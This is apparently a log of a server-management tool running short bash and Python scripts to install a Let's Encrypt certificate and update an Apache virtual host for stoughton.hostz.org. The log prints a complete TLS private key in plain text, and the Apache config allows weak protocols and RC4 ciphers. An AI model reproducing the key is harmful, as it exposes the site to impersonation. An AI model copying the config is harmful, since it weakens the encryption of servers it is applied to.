ZigYFDD/0XZDCykrR/Ldx8KPH+Yfh4fyer7xS4nfI7A1SaSgRWyersy6FYgKdSBm
FPWIsRgHxc6CRwuXG+1IPlrqpi5oDsYaESvlxSYPlvAhjFbOnm2peTC4i/Xt2hqi
dOVHWr3sJQKBgQCvTIk+M4E+sqjBiFllZzmWaFh6ydImrm/yS7Jgh77cuyqOPCOB
FG0Wqw0MbfwfYPTW+AwYhcAdDZ6pwU7QNOPydFUAgtCeSTGGB/PxV6Ik4mAEUcTR
QKNdwChl/vrNmuMz19ArFI5wXQmO36SfKWuSAnr8+XyQRp0P108H+9VElQKBgQC3
RZtbujrLS/thSd8vIHGSskhzFzacht6MQWixI1U3Xt7s3Uq+BR8WkA+ASEq7Qg8C
cVrGRwA/yLm/uUNbIgkRnV9cK2SBOBWC68qom5vr9uMAUCCI2xCGcDEHc+sQuqbC
/Jh8y7jX4TdVyAF3jrDR99UMJsrD4zxyFtYgYLUGHQKBgF7JoNKYcQhi2bdO5Jnk
FpC7N6wHbRcOadEPYUcDFBwQJzp7Ua/372JsrfDYAPTF72iVCIQsbS8JaWTSEYG/
1M4UzlKYBMMVV8RwueEnWi+nmZCSnfbtO5ErzjAjI+VQHxr0FNhIeWT2O3ss3/re
70IcgO/urCOxveWXHjSTXPJ8
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-10-08 06:00:20: 

chmod 755 /tmp/pkp156812; /tmp/pkp156812; rm /tmp/pkp156812

2025-10-08 06:00:20: 


dir=/etc/ssl/certs


2025-10-08 06:00:20: 

PUT: /tmp/pkp708013

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/hostz_stoughton_us.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-10-08 06:00:20: 

chmod 755 /tmp/pkp708013; /tmp/pkp708013; rm /tmp/pkp708013

2025-10-08 06:00:20: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hostz_stoughton_us.conf 42
ServerName	stoughton.hostz.org

<VirtualHost *:80>
    ServerName	stoughton.hostz.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hostz_stoughton
    <Directory /var/www/hostz_stoughton>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
        Require	all granted
    </Directory>
    
    CustomLog	/var/log/apache2/pjy/stoughton_access.log combined
    ErrorLog	/var/log/apache2/pjy/stoughton_error.log
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
    DirectoryIndex	index.html index.htm index.py index.php
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
    #    RewriteEngine       On
#    RewriteCond %{REQUEST_METHOD} !POST
#    RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	stoughton.hostz.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d
    DocumentRoot	/var/www/hostz_stoughton
    <Directory /var/www/hostz_stoughton>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
        Require	all granted
    </Directory>
    
    <Location /server-status>
        SetHandler	server-status
        AuthType	Basic
        AuthName	"Server Status"
        AuthUserFile	/var/www/hostz_stoughton/.htpasswd
        require	valid-user
    </Location>
    
    CustomLog	/var/log/apache2/pjy/stoughton_secure_access.log combined
    ErrorLog	/var/log/apache2/pjy/stoughton_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.py index.php
</VirtualHost>






2025-10-08 06:00:20: 

PUT: /tmp/pkp467305

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=hostz_stoughton_us.conf
TARGET=/etc/apache2/sites-enabled/hostz_stoughton_us.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
ServerName	stoughton.hostz.org

<VirtualHost *:80>
    ServerName	stoughton.hostz.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hostz_stoughton
    <Directory /var/www/hostz_stoughton>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
        Require	all granted
    </Directory>
    
    CustomLog	/var/log/apache2/pjy/stoughton_access.log combined
    ErrorLog	/var/log/apache2/pjy/stoughton_error.log
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
    DirectoryIndex	index.html index.htm index.py index.php
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
    #    RewriteEngine       On
#    RewriteCond %{REQUEST_METHOD} !POST
#    RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	stoughton.hostz.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d
    DocumentRoot	/var/www/hostz_stoughton
    <Directory /var/www/hostz_stoughton>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
        Require	all granted
    </Directory>
    
    <Location /server-status>
        SetHandler	server-status
        AuthType	Basic
        AuthName	"Server Status"
        AuthUserFile	/var/www/hostz_stoughton/.htpasswd
        require	valid-user
    </Location>
    
    CustomLog	/var/log/apache2/pjy/stoughton_secure_access.log combined
    ErrorLog	/var/log/apache2/pjy/stoughton_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.py index.php
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/hostz_stoughton_us.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/hostz_stoughton_us.conf)= /etc/apache2//etc/apache2/sites-enabled/hostz_stoughton_us.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/hostz_stoughton_us.conf= 1'
fi


2025-10-08 06:00:21: 

chmod 755 /tmp/pkp467305; /tmp/pkp467305; rm /tmp/pkp467305

2025-10-08 06:00:21: 




2025-10-08 06:00:21: 

PUT: /tmp/pkp114720

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-10-08 06:00:21: 

chmod 755 /tmp/pkp114720; /tmp/pkp114720; rm /tmp/pkp114720

2025-10-08 06:00:22: 


.


2025-10-08 06:00:22: Establishing a connection
2025-10-08 06:00:23: 

PUT: /tmp/pkp259671

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-10-08 06:00:24: 

chmod 755 /tmp/pkp259671; /tmp/pkp259671; rm /tmp/pkp259671

2025-10-08 06:00:24: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:2)
         port 80 namevhost cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:2)
         port 80 namevhost cygnus.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf:1)
         port 80 namevhost hymns.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf:1)
         port 80 namevhost mixer.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf:1)
         port 80 namevhost stoughton.hostz.org (/etc/apache2/sites-enabled/hostz_stoughton_us.conf:3)
*:443                  is a NameVirtualHost
         default server cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:20)
         port 443 namevhost cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:20)
         port 443 namevhost cygnus.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf:37)
         port 443 namevhost hymns.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf:22)
         port 443 namevhost mixer.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf:22)
         port 443 namevhost stoughton.hostz.org (/etc/apache2/sites-enabled/hostz_stoughton_us.conf:28)
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.


2025-10-08 06:00:24: 

PUT: /tmp/pkp850065

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/hostz_stoughton_us.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-10-08 06:00:24: 

chmod 755 /tmp/pkp850065; /tmp/pkp850065; rm /tmp/pkp850065

2025-10-08 06:00:25: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hostz_stoughton_us.conf	1887
ServerName	stoughton.hostz.org

<VirtualHost *:80>
    ServerName	stoughton.hostz.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hostz_stoughton
    <Directory /var/www/hostz_stoughton>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
        Require	all granted
    </Directory>
    
    CustomLog	/var/log/apache2/pjy/stoughton_access.log combined
    ErrorLog	/var/log/apache2/pjy/stoughton_error.log
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
    DirectoryIndex	index.html index.htm index.py index.php
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
    #    RewriteEngine       On
#    RewriteCond %{REQUEST_METHOD} !POST
#    RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	stoughton.hostz.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d
    DocumentRoot	/var/www/hostz_stoughton
    <Directory /var/www/hostz_stoughton>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
        Require	all granted
    </Directory>
    
    <Location /server-status>
        SetHandler	server-status
        AuthType	Basic
        AuthName	"Server Status"
        AuthUserFile	/var/www/hostz_stoughton/.htpasswd
        require	valid-user
    </Location>
    
    CustomLog	/var/log/apache2/pjy/stoughton_secure_access.log combined
    ErrorLog	/var/log/apache2/pjy/stoughton_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.py index.php
</VirtualHost>







2025-10-08 06:00:25: 

PUT: /tmp/pkp161730

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-10-08 06:00:25: 

chmod 755 /tmp/pkp161730; /tmp/pkp161730; rm /tmp/pkp161730

2025-10-08 06:00:25: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d	5356
74:89:b8:0a:cb:c3:7b:49:1d:53:21:32:e2:f0:32:53

-----BEGIN CERTIFICATE-----
MIIFADCCA+igAwIBAgISBWh1tbVXfZGdqRGgeNJiL+IIMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMDA4MDUwMTQ0WhcNMjYwMTA2MDUwMTQzWjAeMRwwGgYDVQQD
ExNzdG91Z2h0b24uaG9zdHoub3JnMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEAr2vzrAnuthF/kRKXKDKtZ+q9vq4YtDDbNs3Br+rNwjjsXgJFXlgLGlVZ
DsGSghDpA0UHRnic/+ra5YOIZ2X2813pp5ZQIY3cdGU0Kd6+8Athd3nmfb/r6Kc6
3cLsJcEXm421XL7KDLaejYX2eYMUEkY3XNJbxP/gyMDwhYXffWzUcCoUeGOA7AYO
U9dWVh5x9Fx9INLAJtwWGmZb0EUnccRek43Qv1Uhg+j4e1SeLWzKicGecONEY0Q2
uc//DoeSQ6YnkQjrBUQL82ZNRNA4GDTn9t39PZoLlKLVacpjMOJVeD5fBKdS/bdt
fjFRpc+aaFLneZMKtEANexlkwxdMQQIDAQABo4ICITCCAh0wDgYDVR0PAQH/BAQD
AgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8EAjAA
MB0GA1UdDgQWBBTWXXL/88GAo6b7OTWIQy8s84jsXjAfBgNVHSMEGDAWgBTnq58P
LDOgU9NeT3jIsoQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0
dHA6Ly9yMTMuaS5sZW5jci5vcmcvMB4GA1UdEQQXMBWCE3N0b3VnaHRvbi5ob3N0
ei5vcmcwEwYDVR0gBAwwCjAIBgZngQwBAgEwLQYDVR0fBCYwJDAioCCgHoYcaHR0
cDovL3IxMy5jLmxlbmNyLm9yZy85LmNybDCCAQMGCisGAQQB1nkCBAIEgfQEgfEA
7wB2AO08S9boBsKkogBX28sk4jgB31Ev7cSGxXAPIN23Pj/gAAABmcJn7u0AAAQD
AEcwRQIgDKglhOMEM8LHWUBTbbwePxQjvaJZW+aqg9OTXbLe7PkCIQCR5016KBeJ
AUMVeJyUbcyct7YcR1kCW7PDi87M5tBgMQB1ABmG1Mcoqm/+ugNveCpNAZGqzi1y
MQ+uzl1wQS0lTMfUAAABmcJn7vQAAAQDAEYwRAIgXRY7n2wAOMTpNOkweREuL8XF
7sRCeWZ39h8QjliiqQUCIHmu57zPwtj1Z2yJTyEcV5bIjKgfigihD1Cvv3pCHf6w
MA0GCSqGSIb3DQEBCwUAA4IBAQCN3RiB7kOUgYmBHGFoGTZxHd9FUQ97r1T6Bz2L
KdFcbQYqiNlKUNU4yAZAKnMyGpGrJ2bhm2t+GlIB5yfuU6VMgIFAUOTkB3u/4Hhb
/32Se0MYMVw5s6x5RjzZ828ea5A4JDbfLdP3mkdIOKp+AAZfaofQjsW4a3gPMdlw
VyNH/X3ylFVfEcBC1cqHZV3HPkmtsXygcE/nGGXnw2Mn/iuIOQJW/TbF2SaTfuq6
UeaKJ7cM1Etw7BJFYz1vTBv9P+CbGiR2oOFJwJ7TwI+tRvFvgDmAInZznpZm7TlG
QhgPc+D8up0LwaKq+J/KVm0f2yN/stkdXVXtFg1KgGfSAt2L
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCva/OsCe62EX+R
EpcoMq1n6r2+rhi0MNs2zcGv6s3COOxeAkVeWAsaVVkOwZKCEOkDRQdGeJz/6trl
g4hnZfbzXemnllAhjdx0ZTQp3r7wC2F3eeZ9v+vopzrdwuwlwRebjbVcvsoMtp6N
hfZ5gxQSRjdc0lvE/+DIwPCFhd99bNRwKhR4Y4DsBg5T11ZWHnH0XH0g0sAm3BYa
ZlvQRSdxxF6TjdC/VSGD6Ph7VJ4tbMqJwZ5w40RjRDa5z/8Oh5JDpieRCOsFRAvz
Zk1E0DgYNOf23f09mguUotVpymMw4lV4Pl8Ep1L9t21+MVGlz5poUud5kwq0QA17
GWTDF0xBAgMBAAECggEAV5grG+v1w/pm3bUPv6XWiv5fcxiSA2AmBm6l2ccAqYwt
EyBFLT//g028465rDwGMqPJOGLVfiDboyRRuB1uV/Z4Wb3WSW77vpztl2cZ9R3YX
XEaFfqNYFFt0/Ik5y/xoYmdXeZFXaRPDhl2vXqvCWQGw4Wu1IWC4COa286WOnJzo
QRonL7ZVXGbDnv3hJxJ+BLfimN1KHvGpRv8wm7V4gnsfqyhSq3ECjPsQsjsJIuEg
3CZEx0dZDSL3KNvhpPkrLHySPaUAtUXDtOFkcdwcWVYvscTxvKy7qz/6G8PIsAie
VvZ52Qo9JYbL/xZEGnJbH27pB1p/ZDYEpuUQyjc08QKBgQDh8aI3k7DDxO4VGdug
xDpUkAwt/RMUPMrScGiKuiFXnoY+F3C33glj5PjktkeM1NQU8uj6qEshy/MgzQ5+
E+h0Usm+wmAy4T3yvvoABy/eG+MDfOwFug0C+7Ixv/j5d+px7jo+/Oa3HB5UItZx
R/66d0HYpBldGlAnp77yrW6W7QKBgQDGwdGnGuXoMhVqUnburSv9WyFqwYbm32ge
ZigYFDD/0XZDCykrR/Ldx8KPH+Yfh4fyer7xS4nfI7A1SaSgRWyersy6FYgKdSBm
FPWIsRgHxc6CRwuXG+1IPlrqpi5oDsYaESvlxSYPlvAhjFbOnm2peTC4i/Xt2hqi
dOVHWr3sJQKBgQCvTIk+M4E+sqjBiFllZzmWaFh6ydImrm/yS7Jgh77cuyqOPCOB
FG0Wqw0MbfwfYPTW+AwYhcAdDZ6pwU7QNOPydFUAgtCeSTGGB/PxV6Ik4mAEUcTR
QKNdwChl/vrNmuMz19ArFI5wXQmO36SfKWuSAnr8+XyQRp0P108H+9VElQKBgQC3
RZtbujrLS/thSd8vIHGSskhzFzacht6MQWixI1U3Xt7s3Uq+BR8WkA+ASEq7Qg8C
cVrGRwA/yLm/uUNbIgkRnV9cK2SBOBWC68qom5vr9uMAUCCI2xCGcDEHc+sQuqbC
/Jh8y7jX4TdVyAF3jrDR99UMJsrD4zxyFtYgYLUGHQKBgF7JoNKYcQhi2bdO5Jnk
FpC7N6wHbRcOadEPYUcDFBwQJzp7Ua/372JsrfDYAPTF72iVCIQsbS8JaWTSEYG/
1M4UzlKYBMMVV8RwueEnWi+nmZCSnfbtO5ErzjAjI+VQHxr0FNhIeWT2O3ss3/re
70IcgO/urCOxveWXHjSTXPJ8
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2025-10-08 06:00:25: Establishing a connection
2025-10-08 06:00:27: Establishing a connection
2025-10-08 06:00:28: 

PUT: /tmp/pkp159522

#!/bin/bash
if [ -d "/var/www/hostz_earth/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-10-08 06:00:29: 

chmod 755 /tmp/pkp159522; /tmp/pkp159522; rm /tmp/pkp159522

2025-10-08 06:00:29: 


1


2025-10-08 06:00:30: Establishing a connection
2025-10-08 06:00:31: 

PUT: /tmp/pkp421058

#!/bin/bash
mkdir -p "/var/www/hostz_earth/.well-known/acme-challenge/"
cd "/var/www/hostz_earth/.well-known/acme-challenge/"


2025-10-08 06:00:32: 

chmod 755 /tmp/pkp421058; /tmp/pkp421058; rm /tmp/pkp421058

2025-10-08 06:00:33: 




2025-10-08 06:00:33: Establishing a connection
2025-10-08 06:00:33: Establishing a connection
2025-10-08 06:00:33: 

PUT: /tmp/pkp159727

#!/bin/bash
if [ -d "/var/www/hopeinstoughton_list/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-10-08 06:00:33: 

chmod 755 /tmp/pkp159727; /tmp/pkp159727; rm /tmp/pkp159727

2025-10-08 06:00:33: 


1


2025-10-08 06:00:34: Establishing a connection
2025-10-08 06:00:34: 

PUT: /tmp/pkp692802

#!/bin/bash
